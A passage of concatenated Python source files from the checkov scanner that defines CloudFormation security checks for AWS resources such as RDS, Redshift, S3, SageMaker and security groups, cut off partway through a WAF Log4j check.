================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107 ================================================ FILE: checkov/cloudformation/checks/resource/aws/PasswordPolicyReuse.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107 ================================================ FILE: checkov/cloudformation/checks/resource/aws/PasswordPolicySymbol.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107 ================================================ FILE: checkov/cloudformation/checks/resource/aws/PasswordPolicyUppercaseLetter.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/107 ================================================ FILE: checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py ================================================ from typing import Dict from checkov.common.parsers.node import StrNode, DictNode from checkov.common.models.enums import CheckCategories, CheckResult from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class QLDBLedgerDeletionProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure QLDB ledger has deletion protection enabled" id = "CKV_AWS_172" supported_resources = ["AWS::QLDB::Ledger"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[StrNode, DictNode]) -> CheckResult: # deletion protection is enabled on default if "DeletionProtection" not in conf.get("Properties", {}): return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "Properties/DeletionProtection" check = QLDBLedgerDeletionProtection() ================================================ FILE: checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class QLDBLedgerPermissionsMode(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure QLDB ledger permissions mode is set to STANDARD" id = "CKV_AWS_170" supported_resources = ["AWS::QLDB::Ledger"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/PermissionsMode" def get_expected_value(self) -> str: return "STANDARD" check = QLDBLedgerPermissionsMode() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class RDSClusterIAMAuthentication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RDS cluster has IAM authentication enabled" id = "CKV_AWS_162" supported_resources = ["AWS::RDS::DBCluster"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/EnableIAMDatabaseAuthentication" check = RDSClusterIAMAuthentication() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RDSEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class RDSEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the RDS is securely encrypted at rest" id = "CKV_AWS_16" supported_resources = ['AWS::RDS::DBInstance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # If DB is Aurora then Encryption is set in other resource # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-rds-database-instance.html#cfn-rds-dbinstance-storageencrypted if 'Properties' in conf.keys(): if 'Engine' in conf['Properties'].keys(): if 'aurora' in conf['Properties']['Engine']: return CheckResult.UNKNOWN # Database is not Aurora; Use base class implementation return super().scan_resource_conf(conf) def get_inspected_key(self): return 'Properties/StorageEncrypted' check = RDSEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RDSEnhancedMonitorEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that enhanced monitoring is enabled for Amazon RDS instances" id = "CKV_AWS_118" supported_resources = ("AWS::RDS::DBInstance",) # AWS::RDS::DBCluster doesn't support this config categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/MonitoringInterval" def get_expected_values(self) -> list[Any]: # supports int and str return [1, 5, 10, 15, 30, 60, "1", "5", "10", "15", "30", "60"] check = RDSEnhancedMonitorEnabled() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py ================================================ from checkov.common.parsers.node import DictNode from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class RDSIAMAuthentication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RDS database has IAM authentication enabled" id = "CKV_AWS_161" supported_resources = ["AWS::RDS::DBInstance"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/EnableIAMDatabaseAuthentication" def scan_resource_conf(self, conf: DictNode) -> CheckResult: # IAM authentication is only supported for MySQL and PostgreSQL engine = conf.get("Properties", {}).get("Engine", {}) if engine not in ("mysql", "postgres"): return CheckResult.UNKNOWN return super().scan_resource_conf(conf) check = RDSIAMAuthentication() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class RDSMultiAZEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that RDS instances have Multi-AZ enabled" id = "CKV_AWS_157" supported_resources = ("AWS::RDS::DBInstance",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # Aurora is replicated across all AZs and doesn't require MultiAZ to be set # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-rds-dbinstance.html#cfn-rds-dbinstance-multiaz if 'Properties' in conf.keys(): if 'Engine' in conf['Properties'].keys(): if 'aurora' in conf['Properties']['Engine']: return CheckResult.UNKNOWN # Database is not Aurora; Use base class implementation return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return 'Properties/MultiAZ' check = RDSMultiAZEnabled() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class RDSPubliclyAccessible(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in RDS is not publicly accessible" id = "CKV_AWS_17" supported_resources = ['AWS::RDS::DBInstance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_expected_value(self): return False def get_inspected_key(self): return 'Properties/PubliclyAccessible' check = RDSPubliclyAccessible() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RedShiftSSL.py ================================================ from typing import List from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.parsers.node import DictNode from checkov.common.models.enums import CheckCategories, CheckResult class RedShiftSSL(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Redshift uses SSL" id = "CKV_AWS_105" supported_resources = ["AWS::Redshift::ClusterParameterGroup"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: DictNode) -> CheckResult: params = conf.get("Properties", {}).get("Parameters", {}) for param in params: if param.get("ParameterName") == "require_ssl": value = param.get("ParameterValue") if isinstance(value, bool): value = str(value).lower() if value == "true": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['Properties', 'Properties/Parameters'] check = RedShiftSSL() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RedshiftClusterEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in the Redshift cluster is securely encrypted at rest" id = "CKV_AWS_64" supported_resources = ["AWS::Redshift::Cluster"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/Encrypted" check = RedshiftClusterEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class RedshiftClusterLogging(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Redshift Cluster logging is enabled" id = "CKV_AWS_71" supported_resources = ["AWS::Redshift::Cluster"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/LoggingProperties/BucketName" def get_expected_value(self) -> str: return ANY_VALUE check = RedshiftClusterLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RedshiftClusterPubliclyAccessible(BaseResourceValueCheck): def __init__(self) -> None: name = "Redshift cluster should not be publicly accessible" id = "CKV_AWS_87" supported_resources = ["AWS::Redshift::Cluster"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/PubliclyAccessible" def get_expected_value(self): return False check = RedshiftClusterPubliclyAccessible() ================================================ FILE: checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class RedshiftInEc2ClassicMode(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Redshift is not deployed outside of a VPC" id = "CKV_AWS_154" supported_resources = ["AWS::Redshift::Cluster"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/ClusterSubnetGroupName" def get_expected_value(self) -> str: return ANY_VALUE check = RedshiftInEc2ClassicMode() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3AccessLogs.py ================================================ from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class S3AccessLogs(BaseResourceValueCheck): def __init__(self): name = "Ensure the S3 bucket has access logging enabled" id = "CKV_AWS_18" supported_resources = ['AWS::S3::Bucket'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/LoggingConfiguration" def get_expected_value(self) -> Any: return ANY_VALUE check = S3AccessLogs() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3BlockPublicACLs(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket has block public ACLs enabled" id = "CKV_AWS_53" supported_resources = ['AWS::S3::Bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/PublicAccessBlockConfiguration/BlockPublicAcls' check = S3BlockPublicACLs() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3BlockPublicPolicy(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket has block public policy enabled" id = "CKV_AWS_54" supported_resources = ['AWS::S3::Bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/PublicAccessBlockConfiguration/BlockPublicPolicy' check = S3BlockPublicPolicy() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3Encryption.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class S3Encryption(BaseResourceValueCheck): def __init__(self): name = "Ensure the S3 bucket has server-side-encryption enabled" id = "CKV_AWS_19" supported_resources = ['AWS::S3::Bucket'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) self.missing_block_result = CheckResult.PASSED # The default value for this resource is to encrypt def get_inspected_key(self): return 'Properties/BucketEncryption/ServerSideEncryptionConfiguration/[0]/ServerSideEncryptionByDefault/SSEAlgorithm' def get_expected_value(self): return 'AES256' def get_expected_values(self): return [self.get_expected_value(), 'aws:kms'] check = S3Encryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3IgnorePublicACLs(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure S3 bucket has ignore public ACLs enabled" id = "CKV_AWS_55" supported_resources = ("AWS::S3::Bucket",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/PublicAccessBlockConfiguration/IgnorePublicAcls" check = S3IgnorePublicACLs() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py ================================================ from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class S3PublicACLRead(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure the S3 bucket does not allow READ permissions to everyone" id = "CKV_AWS_20" supported_resources = ['AWS::S3::Bucket'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_forbidden_values(self): return ['PublicReadWrite', 'PublicRead'] def get_inspected_key(self): return 'Properties/AccessControl' check = S3PublicACLRead() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py ================================================ from typing import List, Any from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class S3PublicACLWrite(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure the S3 bucket does not allow WRITE permissions to everyone" id = "CKV_AWS_57" supported_resources = ("AWS::S3::Bucket",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_forbidden_values(self) -> List[Any]: return ["PublicReadWrite"] def get_inspected_key(self) -> str: return "Properties/AccessControl" check = S3PublicACLWrite() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3RestrictPublicBuckets(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket has RestrictPublicBuckets enabled" id = "CKV_AWS_56" supported_resources = ['AWS::S3::Bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/PublicAccessBlockConfiguration/RestrictPublicBuckets' check = S3RestrictPublicBuckets() ================================================ FILE: checkov/cloudformation/checks/resource/aws/S3Versioning.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3Versioning(BaseResourceValueCheck): def __init__(self): name = "Ensure the S3 bucket has versioning enabled" id = "CKV_AWS_21" supported_resources = ['AWS::S3::Bucket'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/VersioningConfiguration/Status' def get_expected_value(self): """ Returns the default expected value, governed by provider best practices """ return 'Enabled' check = S3Versioning() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SNSTopicEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the SNS topic is encrypted" id = "CKV_AWS_26" supported_resources = ['AWS::SNS::Topic'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/KmsMasterKeyId' def get_expected_value(self): return ANY_VALUE check = SNSTopicEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SQSQueueEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in the SQS queue is encrypted" id = "CKV_AWS_27" supported_resources = ['AWS::SQS::Queue'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'Properties/KmsMasterKeyId' def get_expected_value(self) -> Any: return ANY_VALUE check = SQSQueueEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class SagemakerDataQualityJobDefinitionEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts" id = "CKV_AWS_367" supported_resources = ["AWS::SageMaker::DataQualityJobDefinition"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/DataQualityJobOutputConfig/KmsKeyId' def get_expected_value(self): return ANY_VALUE check = SagemakerDataQualityJobDefinitionEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerDataQualityJobDefinitionTrafficEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs" id = "CKV_AWS_369" supported_resources = ["AWS::SageMaker::DataQualityJobDefinition"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/NetworkConfig/EnableInterContainerTrafficEncryption' check = SagemakerDataQualityJobDefinitionTrafficEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class SagemakerDataQualityJobDefinitionVolumeEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume" id = "CKV_AWS_368" supported_resources = ["AWS::SageMaker::DataQualityJobDefinition"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/JobResources/ClusterConfig/VolumeKmsKeyId' def get_expected_value(self): return ANY_VALUE check = SagemakerDataQualityJobDefinitionVolumeEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerModelWithNetworkIsolation(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon SageMaker model uses network isolation" id = "CKV_AWS_370" supported_resources = ["AWS::SageMaker::Model"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/EnableNetworkIsolation' check = SagemakerModelWithNetworkIsolation() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py ================================================ from typing import List from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class SagemakerNotebookEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_187" supported_resources = ("AWS::SageMaker::NotebookInstance", "AWS::SageMaker::Domain") categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/KmsKeyId' def get_expected_value(self): return ANY_VALUE def get_evaluated_keys(self) -> List[str]: return ['Properties/KmsKeyId'] check = SagemakerNotebookEncryptedWithCMK() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SagemakerNotebookInstanceAllowsIMDSv2(BaseResourceValueCheck): def __init__(self): name = "Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2" id = "CKV_AWS_371" supported_resources = ["AWS::SageMaker::NotebookInstance"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/InstanceMetadataServiceConfiguration/MinimumInstanceMetadataServiceVersion' def get_expected_value(self): return "2" check = SagemakerNotebookInstanceAllowsIMDSv2() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py ================================================ from typing import List from checkov.common.parsers.node import DictNode from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class SecretManagerSecretEncrypted(BaseResourceCheck): def __init__(self): name = "Ensure that Secrets Manager secret is encrypted using KMS CMK" id = "CKV_AWS_149" supported_resources = ["AWS::SecretsManager::Secret"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: DictNode) -> CheckResult: aws_kms_alias = "aws/" properties = conf.get("Properties") if properties: kms_key_id = properties.get("KmsKeyId") if kms_key_id and aws_kms_alias not in kms_key_id: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['Properties/KmsKeyId'] check = SecretManagerSecretEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class SecurityGroupRuleDescription(BaseResourceCheck): def __init__(self) -> None: name = "Ensure every security groups rule has a description" id = "CKV_AWS_23" supported_resource = ('AWS::EC2::SecurityGroup', 'AWS::EC2::SecurityGroupIngress', 'AWS::EC2::SecurityGroupEgress') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: """ Looks for description in security group rules : https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-security-group.html :param conf: aws_security_group configuration :return: """ if conf['Type'] == 'AWS::EC2::SecurityGroup': if 'Properties' in conf: self.evaluated_keys = ['Properties'] security_group_ingress_rules = conf.get('Properties', {}).get('SecurityGroupIngress') if security_group_ingress_rules: for rule in security_group_ingress_rules: if isinstance(rule, dict) and ('Description' not in rule or not rule['Description']): self.evaluated_keys = ['Properties/SecurityGroupIngress'] return CheckResult.FAILED security_group_egress_rules = conf.get('Properties', {}).get('SecurityGroupEgress') if security_group_egress_rules: for rule in security_group_egress_rules: if isinstance(rule, dict) and ('Description' not in rule.keys() or not rule['Description']): self.evaluated_keys = ['Properties/SecurityGroupEgress'] return CheckResult.FAILED return CheckResult.PASSED elif conf['Type'] == 'AWS::EC2::SecurityGroupIngress' or conf['Type'] == 'AWS::EC2::SecurityGroupEgress': if 'Properties' in conf.keys() and 'Description' in conf['Properties'] and conf['Properties']['Description']: return CheckResult.PASSED return CheckResult.FAILED check = SecurityGroupRuleDescription() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py ================================================ from checkov.cloudformation.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import \ AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_24", port=22) check = SecurityGroupUnrestrictedIngress22() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py ================================================ from checkov.cloudformation.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_25", port=3389) check = SecurityGroupUnrestrictedIngress3389() ================================================ FILE: checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py ================================================ from checkov.cloudformation.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import \ AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress80(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_260", port=80) check = SecurityGroupUnrestrictedIngress80() ================================================ FILE: checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py ================================================ from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class TimestreamDatabaseKMSKey(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Timestream database is encrypted with KMS CMK" id = "CKV_AWS_160" supported_resources = ["AWS::Timestream::Database"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/KmsKeyId" def get_expected_value(self) -> Any: return ANY_VALUE check = TimestreamDatabaseKMSKey() ================================================ FILE: checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class TransferServerIsPublic(BaseResourceValueCheck): def __init__(self): name = "Ensure Transfer Server is not exposed publicly." id = "CKV_AWS_164" supported_resources = ['AWS::Transfer::Server'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/EndpointType' def get_expected_values(self): return ["VPC", "VPC_ENDPOINT"] check = TransferServerIsPublic() ================================================ FILE: checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class VPCEndpointAcceptanceConfigured(BaseResourceValueCheck): def __init__(self): name = "Ensure that VPC Endpoint Service is configured for Manual Acceptance" id = "CKV_AWS_123" supported_resources = ['AWS::EC2::VPCEndpointService'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/AcceptanceRequired' check = VPCEndpointAcceptanceConfigured() ================================================ FILE: checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py ================================================ from typing import Dict, Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class WAFACLCVE202144228(BaseResourceCheck): def __init__(self) -> None: name = "Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell" id = "CKV_AWS_192" supported_resources = ["AWS::WAFv2::WebACL"] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["Properties/Rules"] properties = conf.get("Properties") if properties: rules = properties.get("Rules") or [] for idx_rule, rule in enumerate(rules): self.evaluated_keys = [f"Properties/Rules/[{idx_rule}]/Statement"] statement = rule.get("Statement") if statement: self.evaluated_keys = [f"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement"] managed_group = statement.get("ManagedRuleGroupStatement") if managed_group: self.evaluated_keys = [ 